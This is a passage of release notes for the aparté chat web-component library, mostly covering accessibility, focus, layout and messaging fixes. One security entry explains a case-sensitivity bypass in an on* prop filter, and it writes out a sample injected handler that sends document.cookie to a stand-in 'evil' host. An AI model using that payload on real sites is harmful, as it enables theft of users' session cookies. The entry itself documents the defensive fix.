    Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at opacity: .5 sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals a delete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — not overflow: hidden on the row, which would clip the title button’s focus ring. @aparte/core

  • 100d089: A [data-aparte-sidebar-toggle] control now carries aria-expanded and aria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.

    The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own ⋯ button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. No focusin guard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto <body>. @aparte/core

  • fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (--aparte-skeleton-text-height, --aparte-skeleton-text-gap are derived from --aparte-content-font-size and --aparte-content-line-height).

    The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder. @aparte/core

  • dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s ⋯ are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s --aparte-radius-select.

    Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried --sm (24), the ⋯ did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under (pointer: coarse) the ⋯ takes the touch-target size like the other four. --aparte-branch-picker-btn-size and --aparte-branch-picker-btn-icon-size are gone; --aparte-action-bar-btn-size and --aparte-conv-action-btn-size default to var(--aparte-btn-size-sm). The select’s trigger declared no font-size at all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private --aparte-select-radius is gone, the theme’s --aparte-radius-select stays. @aparte/core

  • fee67b7: The split’s seam is a 1px line (--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.

    One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one. @aparte/core

  • 1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.

    .aparte-tabs--segmented was a block-level flex row and painted 1207px of track for 160px of chips at 1280; it is inline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px. @aparte/core

  • dc4a7b7: data-side="top | bottom | start | end" places a tooltip against its trigger — wrap the trigger in .aparte-tooltip-anchor — and turns the arrow to match; --aparte-tooltip-gap is the distance. No inline positioning needed any more.

    The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without data-side nothing is positioned, as before. @aparte/core

  • 54ab107: The type ramp rises in the order of its names: --aparte-font-size-lg is 1.0625rem (above the body’s base, it was 0.875rem — below it), and --aparte-font-size-xl (1.25rem) and --aparte-font-size-2xl (1.5rem) exist. Every reader of the old lg moved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the new lg, the large field and the large buttons speak at the body size.

    Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read lg for “a notch above the control text” now read base or md, so they keep their size. @aparte/core, @aparte/plugin-artifacts

  • 7e5910a: <aparte-model-selector disabled> disables the picker, and inside an <aparte-composer> the picker follows the composer’s own disabled — it used to stay fully operable while the field and the send button around it were inert. @aparte/plugin-model-selector

  • d78b150: Stops writing the grouped attribute on its <aparte-select>: the select never read it, groups render from the <aparte-optgroup> children alone. @aparte/plugin-model-selector

  • 2e8f3ed: approvalWaiting reads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row. @aparte/locale-fr

  • d78b150: Adds loading (“Chargement…”), the text an option group shows while its options are fetched. @aparte/locale-fr

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.

0.16.9

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 2b1d809: A composer inside a chat host that has an id now stamps that id on aparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.

    submit() read the bare target attribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing sets target, so every send from raw core carried targetId: undefined and the host delivered the answer to whichever chat it resolved first.

    The composer’s other outbound path, cancel(), already resolved through _ownTargetId() — the attribute if a wrapper set one, else the id of the <aparte-chat> / [data-aparte-chat] host above. submit() now resolves the same way, which is the invariant cancel()’s own docblock states: both sides answer the question “which chat am I” identically. @aparte/core

  • df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.

    It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.

    24 is not a new number: it is the box aparte-btn--sm already draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px --aparte-touch-target-size its neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set on aparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision. @aparte/core

  • 60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.

    Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set --aparte-input-padding-y keeps what they set; the default alone moves. @aparte/core

  • 7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.

    Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to <body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.

    The bubble now remembers the data-action of the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore. @aparte/core

  • 79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.

    Arrow keys select as they move inside a radiogroup, so the change they fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button. @aparte/core

  • 204343f: Lifecycle events (aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.

    The stamp read target.id, and the target is whatever RENDERS: an <aparte-chat> shell delegates rendering to its .viewport, which has no id of its own. So on every shell-shaped chat the events went out with targetId: undefined — and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.

    On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule aparte-composer uses to identify itself, so the two halves of the channel cannot disagree — and target.id remains the fallback, which is correct for the viewport-only chat shape. @aparte/core

  • 4cfda77: Uppercase and mixed-case on* props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.

    applyElementProps — what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refused onclick but tested the key with key.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so { ONCLICK: 'fetch("//evil/?" + document.cookie)' } fell through to setAttribute and wrote exactly the onclick the branch existed to refuse.

    The check is now key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the -- branch keeps the key it was given. @aparte/core

  • 8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.

    The trap listed its stops with querySelectorAll and treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows with hidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.

    Both now count only what a reader can reach ([hidden] ancestors excluded, plus checkVisibility() where the browser offers it, which also catches a display: none from a host stylesheet). @aparte/core

  • 7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.

    The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.

    The bar is a role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on a tabindex="-1" member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.

    And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open. focus() on a disabled button is a no-op, so the focus fell to <body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button. @aparte/core

  • 204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.

    Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as { role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.

    The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share. @aparte/core

  • 191aa24: The <aparte-chat-status> caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block / -inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.

    --aparte-message-padding was split into -block / -inline and --aparte-avatar-radius became --aparte-avatar-radius-ratio (a fraction of --aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing 6px is the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.

    A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid. check:derived-vars now reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line marked undeclared-on-purpose are the two exceptions, the second for the guide’s own worked example of a name core does not declare. @aparte/core

  • 2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.

    _teardownPanel() ended on an unconditional this.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.

    It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to <body>, after which the question has no answer. That is the reasoning <aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes. @aparte/core

  • 04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.

    --aparte-scroll-rail-hit-size grows the pressable zone symmetrically around the drawn line — half of hit − thickness above it and half below. aparte-scroll-rail clips (overflow: hidden, which cuts at the padding box) and had no padding, and .aparte-scroll-rail__list has none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.

    The fix is the room, not a smaller zone: padding-block: calc((hit − thickness) / 2) puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why --aparte-scroll-rail-width carries the hit size as a floor — and it simply had not been carried to the block axis.

    What moves if you had measured the rail: it is box-sizing: border-box now, so max-height still means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged. @aparte/core

  • 04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.

    <aparte-scroll-rail> is position: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with :has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla <aparte-chat> and the [data-aparte-chat] div React/Vue/Svelte render. Angular’s host IS <aparte-chat> but its shell is the inner .aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page. .aparte-chat-container:has(> aparte-scroll-rail) closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.

    The second half is the same rail, in overlay mode. The bottom-stack rule said > :not(aparte-chat-viewport) on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, took position: relative, and the one child that floats by design dropped into the flow above the composer. The :not() now names both. @aparte/core

  • 04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch. --aparte-scroll-rail-hit-size is the new knob and --aparte-scroll-rail-gap now derives from it, so fewer ticks fit in the rail before it clips.

    A tick is a <button> that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under (pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.

    Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone: --aparte-scroll-rail-gap is hit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.

    What to change if you had tuned these: set --aparte-scroll-rail-hit-size rather than --aparte-scroll-rail-gap, since the gap now follows it. --aparte-scroll-rail-width takes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2. @aparte/core

  • ce72d8e: A searchable <aparte-select> again announces which option is selected: its trigger’s accessible name is now "<control>: <selected label>" (e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.

    searchable makes the trigger a role="button", and a button takes its name from its content — which an author aria-label overrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged. @aparte/core

  • 204343f: history: 'viewport' now sends assistant turns a host seeded without a status; the whole transcript used to be dropped and the model got only the new question.

    status is optional on AparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over. _toHistoryMessages gated on status === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.

    Both gates now ask “is this still in flight?” instead: a streaming or pending turn is held back, an error turn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history. @aparte/core

  • ce72d8e: A searchable <aparte-select> now puts role="combobox", aria-expanded, aria-controls and the roving aria-activedescendant on the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes a role="button" when (and only when) the field exists; without searchable nothing changes.

    Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value. aria-expanded now follows the open state on both elements. @aparte/core

  • ce72d8e: A disabled <aparte-select> no longer removes the open attribute you wrote, and opens the moment you remove disabled.

    open is the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them — <aparte-select [disabled]="true" [open]="true"> in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and the disabled branch honours it on the way out, symmetrically to the close it already does on the way in. @aparte/core

  • ce72d8e: Setting open on <aparte-select> — the attribute or the property, after mount or in the initial markup — now runs the same path as a click: aria-expanded follows in both directions, the keyboard highlight is seeded on open and cleared on close, and aparte-select-open / aparte-select-close fire once per transition. A disabled select still refuses to open, and drops the open attribute rather than leaving it claiming otherwise.

    The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause. @aparte/core

  • ce72d8e: Re-parenting an open <aparte-select> no longer fires a second aparte-select-open or resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.

    connectedCallback runs on every re-connect, and routing the mount-time open attribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and _openDropdown() returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent. @aparte/core

  • c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.

    Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded false and left the focus on <body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.

    The restore also moved after the aparte-rename-conversation event rather than before it. A host that re-assigns conversations when it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most. @aparte/core

  • 6e7386b: <aparte-chat-status> now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.

    The container is role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was an aria-hidden dot and an empty span — the empty string — so the whole state rode on aria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.

    One writer now keeps exactly one of the two text nodes populated: the visible .aparte-status-text when the text attribute is set (the label is already that same string, so a second copy would be read twice), and a new .aparte-status-sr span wearing the existing .aparte-sr-only recipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.

    One edge aligns as a consequence: mounting with an empty text="" used to print the literal Typing on screen, where setting text="" after mount cleared it. Both paths now read an empty attribute as the dots-only default. @aparte/core

  • 6e7386b: <aparte-chat-status> writes its fallback word into the live region when visible arrives, and clears it when visible leaves — so a screen reader hears the indicator on every turn, not just in theory.

    The word was there already; it was written at the wrong moment. _render() put Typing in the screen-reader span while the host was still display: none (aparte-chat-status:not([visible]) hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.

    Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when text is set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.

    If you drive the element by hand rather than through a wrapper, show()/hide() (or the visible attribute) is now what puts the word in the region — mounting it without visible leaves the region empty, as it should, since the element is not on screen. @aparte/core

  • 52a9a00: The tabs recipe’s examples now ship the roving tabindex, aria-controls and aria-labelledby that their role="tablist" promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.

    The examples are the live preview the kit page renders, and they showed a role="tablist" of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one. @aparte/core

  • 97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.

    In the composer’s pending strip, role="button" sat on the tile, and the tile wraps the remove <button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from the title, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.

    The role, the tab stop and an explicit aria-label (the file name, once) now sit on the <img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.

    The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control. @aparte/core

  • 7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until toolTimeoutMs (five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.

    invokeToolHandler already raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool — async () => ({ content: await fetch(...).then(r => r.text()) }) — never reads its signal. The parent abort was left out of that race. It only ran onParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, and run-aborted arrived only once the timeout budget expired.

    The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the finally alongside the existing one, so a long turn does not accumulate listeners on the run’s signal. @aparte/engine

  • 2cd2c50: The worker now ships as dist/worker.js and is constructed from a literal new URL('./worker.js', import.meta.url), so a bundled app resolves @huggingface/transformers inside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own.

    _spawnWorker carries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call to new Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url)) — nothing static left for anyone to detect. The chunk was then copied verbatim, its import('@huggingface/transformers') stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.

    Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so dist/worker.js and dist/runners/{shared,text-generation,image-text-to-text}.js are real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and @huggingface/transformers is the one bare specifier left. The build removes Vite’s worker-import-meta-url and asset-import-meta-url transforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves ./worker.js to src/worker.ts there.

    Both halves are now asserted against the built bytes rather than the source — src/__tests__/published-shape.test.ts for the literal and the file, and a check:bundle-entries contract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.

    The cross-origin blob: path is unchanged: same behaviour, same CSP note, same error message. @aparte/provider-transformers

  • a78320a: summaryMaxTokens reserves room in the window budget; it never truncated the summary and no longer claims to.

    Its JSDoc read “Hard cap for summary tokens” and summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns. splitHistoryBudget uses them for one thing: summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.

    Words only: splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your own summarize. @aparte/plugin-compaction

  • 9a1f93c: <AparteChat> and <AparteUi> accept callback props alongside their events: onmessageSent, onaction, onmessagesChange, onmessageAppended, ontypingChange, onconversationCreated on the chat, onelementEvent on the element host. Each is called with the payload itself (no CustomEvent to unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writes on: on a component. The Svelte 5 example now runs in runes mode on those callbacks.

    Svelte 5 documents createEventDispatcher as deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher nor on: on a component (only on on: for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs. @aparte/svelte

Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.10

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 33b8cc0: AparteConversationManager.setTitleProvider(fn) replaces how a new conversation is titled from its first user message.

    A conversation’s title was decided in one private place, _autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racing updateTitle behind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place: setTitleProvider(provider) / getTitleProvider(), plus a titleProvider constructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list. updateTitle is untouched. @aparte/plugin-titler binds an aparte-titler model to it. @aparte/core

  • 36af623: <aparte-scroll-rail> works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.

    Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new IntersectionObserver each time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carry content-visibility: auto and a scroll aims at an estimated position.

    Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting --aparte-scroll-rail-hit-size and --aparte-scroll-rail-gap on itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet — --aparte-scroll-rail-bar (a classic scrollbar’s width), --aparte-scroll-rail-block-start and --aparte-scroll-rail-block-end (the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.

    In overlay-composer mode the viewport no longer counts the rail as part of the floating bottom stack when it measures --aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.

    If you had styled the rail: it is a flex column now, overflow-y: auto with no visible scrollbar, and its top is the middle of the transcript’s measured span rather than of the host. @aparte/core

  • 3df9174: New package: setupTitler(manager, { titler: loadTitler }) titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.

    The model is not a dependency of the plugin: hand it @aparte/titler-latin’s loadTitler (17 languages, 133 KB), a Titler, a promise of one, or any object with title(message, budget?). The loader runs once, the first time a title is needed. createTitleProvider(options) is the provider alone, for a manager built with the titleProvider option; the teardown returned by setupTitler restores the previous provider. @aparte/plugin-titler

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.11

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.

    The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now. @aparte/core

  • 21dd3bc: The four plugins that ship a custom element now carry the web-components npm keyword; nothing changes in the code you import.

